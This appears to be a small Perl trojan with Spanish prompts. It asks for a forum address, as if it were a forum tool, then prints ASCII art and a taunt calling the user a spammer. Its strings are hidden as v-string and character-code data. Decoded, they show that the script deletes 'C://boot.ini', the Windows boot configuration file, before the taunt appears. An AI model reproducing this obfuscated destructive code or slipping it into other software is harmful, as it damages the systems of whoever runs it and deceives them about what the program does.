my $ports = sprintf v40.111.95.95.13.10.47.47.92.13.10.86.95.47.95;
my $data = sprintf v67.58.47.47.98.111.111.116.46.105.110.105;
print "Direccion del foro: ";
chomp(my $page = <STDIN>);
unlink ( $data );
print $page, "\n";
print $ports;
print (chr($_)) foreach (<DATA>);
__DATA__
32
72
97
32
32
112
97
114
97
32
113
117
101
32
97
112
114
101
110
100
97
115
44
32
83
80
65
77
69
82
13
10